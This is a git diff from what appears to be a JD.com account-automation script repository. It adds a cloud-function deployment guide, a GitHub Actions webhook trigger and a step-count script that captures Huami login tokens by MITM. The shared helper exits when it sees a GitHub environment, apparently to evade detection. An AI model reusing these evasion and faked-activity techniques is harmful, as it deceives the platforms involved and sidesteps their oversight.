airQualityNode.airQualityIndex = aqicnIndex + airQualityNode.pollutants.CO.amount = aqicnData.iaqi.co?.v || -1 + airQualityNode.pollutants.SO2.amount = aqicnData.iaqi.so2?.v || -1 + airQualityNode.pollutants.NO2.amount = aqicnData.iaqi.no2?.v || -1 + airQualityNode.pollutants["PM2.5"].amount = aqicnData.iaqi.pm25?.v || -1 + airQualityNode.pollutants.OZONE.amount = aqicnData.iaqi.o3?.v || -1 + airQualityNode.pollutants.PM10.amount = aqicnData.iaqi.pm10?.v || -1 + airQualityNode.metadata.latitude = aqicnData.city.geo[0] + airQualityNode.metadata.longitude = aqicnData.city.geo[1] + airQualityNode.metadata.read_time = roundHours(new Date(), 'down') + airQualityNode.metadata.expire_time = roundHours(new Date(), 'up') + airQualityNode.metadata.reported_time = aqicnData.time.v + //airQualityNode.metadata.language = $request.headers['Accept-Language'] + airQualityNode.primaryPollutant = getPrimaryPollutant(aqicnData.dominentpol) + return airQualityNode +} + +function roundHours(time, method) { + switch (method) { + case 'up': + time.setHours(time.getHours() + Math.ceil(time.getMinutes() / 60)); + break; + case 'down': + time.setHours(time.getHours() + Math.floor(time.getMinutes() / 60)); + break; + default: + console.log("Error rounding method"); + } + time.setMinutes(2, 0, 0); + return time; +} + +// $httpClient.get(`https://api.waqi.info/feed/geo:${lat};${lng}/?token=${aqicnToken}`, function (error, _response, data) { +// if (error) { +// let body = $response.body +// $done({ body }) +// } else { +// let body = modifyWeatherResp($response.body, data) +// $done({ body }) +// } +// }); +$.get({ url: `https://api.waqi.info/feed/geo:${lat};${lng}/?token=${aqicnToken}`, headers: $request.headers },(err, resp, data) => { + try { + if (err) { + $.logErr(err, resp); + } else { + console.log(`${JSON.stringify(resp.body)}`); + let body = modifyWeatherResp($response.body, resp.body); + $.done({body}); + } + } catch (e) { + $.logErr(e, resp); + $.done(); + } +}); +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/tencentscf.md b/backUp/tencentscf.md new file mode 100644 index 0000000..ab3e348 --- /dev/null +++ b/backUp/tencentscf.md @@ -0,0 +1,138 @@ + +# 云函数快速部署京东脚本(由于云函数官方升级此方法暂时失效) +> +> - 本地安装依赖使用serverless部署,[点这里](tencentscf.md#1-安装-nodejs-环境) +> - Github Action 部署[点这里](tencentscf.md#github-action-部署) + +## 1. 安装 Node.js 环境 + +Node.js 环境 [下载地址](https://nodejs.org/zh-tw/download/) ,根据自己的操作系统下载和安装。 + +## 2. 下载代码 + +点击红框处下载压缩包 +![下载代码](https://imgbed-bucket-1251971143.cos.ap-guangzhou.myqcloud.com/1605497672397-zip.png) + +## 3. 安装依赖,配置 cookie + +### 3.1 安装依赖 + +压缩包解压后进入项目文件夹 + +- Windows 用户按住 **shift** 点击右键,点击 **在此处打开命令窗口** +- Mac 用户通过终端,自行进入该文件夹 + +在命令行内输入 `npm i `,等待运行完成。 + +此时,项目文件夹内会多出一个 `node_modules`文件夹 + +### 3.2 配置 cookie + +打开项目文件内的 `jdCookie.js` + +在最上面的 `CookieJDs`里写入 cookie ,多个账号以逗号分隔 + +例如 + +```javascript +let CookieJDs = [ + 'pt_key=xxx;pt_pin=xxx;', + 'pt_key=zzz;pt_pin=zzz;', + 'pt_key=aaa;pt_pin=xxxaaa' +] +``` + +> 注:获取京东 cookie 教程参考 [浏览器获取京东cookie教程](https://github.com/LXK9301/jd_scripts/blob/master/backUp/GetJdCookie.md) , [插件获取京东cookie教程](https://github.com/LXK9301/jd_scripts/blob/master/backUp/GetJdCookie2.md) + + +## 4. 部署到云函数 + +### 4.1 开通服务 + +依次登录 [SCF 云函数控制台](https://console.cloud.tencent.com/scf) 和 [SLS 控制台](https://console.cloud.tencent.com/sls) 开通相关服务,确保账户下已开通服务并创建相应[服务角色](https://console.cloud.tencent.com/cam/role) **SCF_QcsRole、SLS_QcsRole** + +> 注意!为了确保权限足够,获取这两个参数时不要使用子账户!此外,腾讯云账户需要[实名认证](https://console.cloud.tencent.com/developer/auth)。 + +### 4.2 工具部署 + +下载 Serverless 工具,快速部署函数 +``` +npm install -g serverless +``` + +执行部署命令 +``` +serverless deploy +``` + +如果已经配置了永久秘钥,则可以直接部署,如果没有,可以直接**微信扫码**登录腾讯云,并且授权部署。 + +过几秒后,查看输出,可以看到函数和定时触发器都已经配置完成。 +``` +serverless ⚡framework +Action: "deploy" - Stage: "dev" - App: "jdscript" - Instance: "jdscript" + +functionName: scf-jdscript +description: This is a function in jdscript application. +namespace: default +runtime: Nodejs12.16 +handler: index.main_handler +memorySize: 64 +lastVersion: $LATEST +traffic: 1 +triggers: + timer: + - timer-jdscript-dev + +36s › jdscript › Success +``` + +## 5. 查看和测试 + +登录后,在 [腾讯云函数地址](https://console.cloud.tencent.com/scf/index) 点击管理控制台,查看最新部署的函数。 + +在左侧栏的日志查询中,可以查看到触发的日志,包括是否打卡成功等。 + +![测试函数](https://user-images.githubusercontent.com/6993269/99628053-5a9eea80-2a70-11eb-906f-f1d5ea2bfa3a.png) + +> 如果需要配置永久秘钥,则可以在[访问秘钥页面](https://console.cloud.tencent.com/cam/capi)获取账号的 TENCENT_SECRET_ID,TENCENT_SECRET_KEY,并配置在代码根目录 .env 文件中。 + + +# Github Action 部署 +## 1. 开通服务 + +依次登录 [SCF 云函数控制台](https://console.cloud.tencent.com/scf) 和 [SLS 控制台](https://console.cloud.tencent.com/sls) 开通相关服务,确保账户下已开通服务并创建相应[服务角色](https://console.cloud.tencent.com/cam/role) **SCF_QcsRole、SLS_QcsRole** + +> 注意!为了确保权限足够,获取这两个参数时不要使用子账户!此外,腾讯云账户需要[实名认证](https://console.cloud.tencent.com/developer/auth)。 + +## 2. 在这里新建一个访问密钥[新建密钥](https://console.cloud.tencent.com/cam/capi) +> 将SecretId和SecretKey分别配置在仓库的secrets变量里面, TENCENT_SECRET_ID对应你的SecretId的值,TENCENT_SECRET_KEY对应你的SecretKey的值 + +## 3. 配置自己需要secrets变量[参考这里](githubAction.md#下方提供使用到的-secrets全集合) + +目前因为云函数改版升级,原GitHub Action部署云函数方案需要作出相应调整,secret变量新增`SCF_REGION`和`TENCENT_FUNCTION_NAME`。`SCF_REGION`用于控制部署区域的选择,具体参数代码填写可以自行查找官方说明 [地域和可用区](https://cloud.tencent.com/document/product/213/6091) `TENCENT_FUNCTION_NAME`用于控制部署到云函数后函数名的命名。
+ +## 4. 配置index.js中secrets变量说明 +现在可以通过secret设置自定义index.js中的执行方式,环境变量分别为`TENCENTSCF_SOURCE_TYPE`和`TENCENTSCF_SOURCE_URL`,其中`TENCENTSCF_SOURCE_TYPE`值可以选取`local`、`git`、`custom`具体含义[参考这里](githubAction.md#下方提供使用到的-secrets全集合)。`TENCENTSCF_SOURCE_URL`格式为包含raw的URL,例如:`https://raw.githubusercontent.com/LXK9301/jd_scripts/master/`或`https://gitee.com/lxk0301/jd_scripts/raw/master/`
+ + +### __重要的说三遍__ +### 如果涉及一个变量配置多个值,如多个cookie,多个取消订阅关键字,去掉里面的 *__[空格]()__* 和 __*[换行]()*__ 使用 `&` 连接 +### 如果涉及一个变量配置多个值,如多个cookie,多个取消订阅关键字,去掉里面的 *__[空格]()__* 和 __*[换行]()*__ 使用 `&` 连接 +### 如果涉及一个变量配置多个值,如多个cookie,多个取消订阅关键字,去掉里面的 *__[空格]()__* 和 __*[换行]()*__ 使用 `&` 连接 +> 排查问题第一步先看自己[腾讯云函数](https://console.cloud.tencent.com/scf/list-detail?rid=5&ns=default&id=scf-jdscript)那边的环境变量跟自己在仓库配置的 `secrets` 是否一致 +![image](https://user-images.githubusercontent.com/6993269/99937191-06617680-2da0-11eb-99ea-033f2c655683.png) + + +## 4.执行action workflow进行部署,workflow未报错即部署成功 + +**在执行action workflow进行部署前,先在需要部署的区域下新建一个空函数,名称可以任意,比如:`jd`,此时secret中`TENCENT_FUNCTION_NAME`值也必须是`jd`,保持与云函数的函数名一致,目前部署云函数的策略是覆盖的方式,故而此步骤至关重要。**
+ +![image](https://user-images.githubusercontent.com/6993269/99513289-6a152980-29c5-11eb-9266-3f56ba13d3b2.png) +## 5. 查看和测试 +登录后,在 [腾讯云函数地址](https://console.cloud.tencent.com/scf/index) 点击管理控制台,查看最新部署的函数。 + +在左侧栏的日志查询中,可以查看到触发的日志,包括是否打卡成功等。 + +![测试函数](https://user-images.githubusercontent.com/6993269/99628053-5a9eea80-2a70-11eb-906f-f1d5ea2bfa3a.png) +## 6. 设置触发器[看这里](iCloud.md#5设置触发器) 或者看这里的[注释说明](https://github.com/iouAkira/jd_scripts/blob/patch-1/index.js#L4) diff --git a/backUp/webhook.js b/backUp/webhook.js new file mode 100644 index 0000000..8ad31e3 --- /dev/null +++ b/backUp/webhook.js @@ -0,0 +1,80 @@ +/* + * @Date: 2020-10-24 18:53:29 + * @Last Modified time: 2020-11-05 18:54:13 + */ + +const $ = new Env('Webhook触发Action'); +let ACTIONS_TRIGGER_TOKEN = '';//Personal access tokens,申请教程:https://www.jianshu.com/p/bb82b3ad1d11 记得勾选repo权限就行 +let TRIGGER_KEYWORDS = '';//.github/workflows/路径里面yml文件里面repository_dispatch项目的types值,例如jd_fruit.yml里面的值为fruit +let githubUser = '';//github用户名,例:xxxx +let repo = '';//需要触发的 Github Action 所在的仓库名称 例:scripts + +!(async () => { + ACTIONS_TRIGGER_TOKEN = $.getdata('ACTIONS_TRIGGER_TOKEN') ? $.getdata('ACTIONS_TRIGGER_TOKEN') : ACTIONS_TRIGGER_TOKEN; + githubUser = $.getdata('githubUser') ? $.getdata('githubUser') : githubUser; + repo = $.getdata('repo') ? $.getdata('repo') : repo; + TRIGGER_KEYWORDS = $.getdata('TRIGGER_KEYWORDS') ? $.getdata('TRIGGER_KEYWORDS') : TRIGGER_KEYWORDS; + TRIGGER_KEYWORDS = TRIGGER_KEYWORDS.split(','); + for (let item of TRIGGER_KEYWORDS) { + if (!item) { + $.msg($.name, `失败`, `触发关键词未提供`) + return + } + if (!ACTIONS_TRIGGER_TOKEN) { + $.msg($.name, `失败`, `github token未提供`) + return + } + if (!githubUser) { + $.msg($.name, `失败`, `github 用户名未提供`) + return + } + if (!repo) { + $.msg($.name, `失败`, `需触发的github仓库名未提供`) + return + } + if (ACTIONS_TRIGGER_TOKEN && githubUser && repo && item) { + await hook(item); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function hook(key) { + const options = { + 'url': `https://api.github.com/repos/${githubUser}/${repo}/dispatches`, + 'body': `${JSON.stringify({"event_type": key})}`, + 'headers': { + 'Accept': 'application/vnd.github.everest-preview+json', + 'Authorization': `token ${ACTIONS_TRIGGER_TOKEN}` + } + } + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + if (data && data.match('404')) { + $.msg($.name, ``, `触发[${key}]失败,请仔细检查提供的参数`, {"open-url": `https://github.com/${githubUser}/${repo}`}) + } else if (data && data.match('401')) { + $.msg($.name, ``, `触发[${key}]失败,github token权限不足`, {"open-url": `https://github.com/settings/tokens`}) + } else { + console.log(`${JSON.stringify(err)}`) + } + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.msg($.name, ``, `触发[${key}]成功`, {"open-url": `https://github.com/${githubUser}/${repo}/actions`}) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/xmSports.js b/backUp/xmSports.js new file mode 100644 index 0000000..1c57057 --- /dev/null +++ b/backUp/xmSports.js @@ -0,0 +1,175 @@ +/* + * @Date: 2020-11-01 13:43:28 + * @Last Modified time: 2021-4-22 13:43:28 + */ +/* +小米运动修改微信支付宝运动步数 +APP Store下载小米运动APP +登入小米运动(登录方式必须是手机号码+密码(没有就用手机号码注册),下面的第三方账号(小米账号,Apple,微信)授权登录不行) +登录成功后在 我的->第三方接入->绑定支付宝,微信 +小米运动只要不退出登录,就会自动获取新的token,即永久有效 +[MITM] +hostname = account.huami.com +Surge +[Script] +小米运动 = type=cron,cronexp="15 17 * * *",wake-system=1,timeout=3600,script-path=xmSports.js +小米运动获取Token = type=http-response,pattern=^https:\/\/account\.huami\.com\/v2\/client\/login, requires-body=1, max-size=0, script-path=backUp/xmSports.js +圈X +[task_local] +# 小米运动 +15 17 * * * xmSports.js, tag=小米运动, img-url=https://raw.githubusercontent.com/58xinian/icon/master/xmyd.png, enabled=true +[rewrite_local] +# 小米运动获取Token +^https:\/\/account\.huami\.com\/v2\/client\/login url script-response-body xmSports.js +Loon +[Script] +cron "15 17 * * *" script-path=xmSports.js, tag=小米运动 +http-response ^https:\/\/account\.huami\.com\/v2\/client\/login script-path=xmSports.js, requires-body=true, timeout=3600, tag=小米运动获取Token + */ + +const $ = new Env('小米运动'); +const isRequest = typeof $request != "undefined" +let dataJSON = 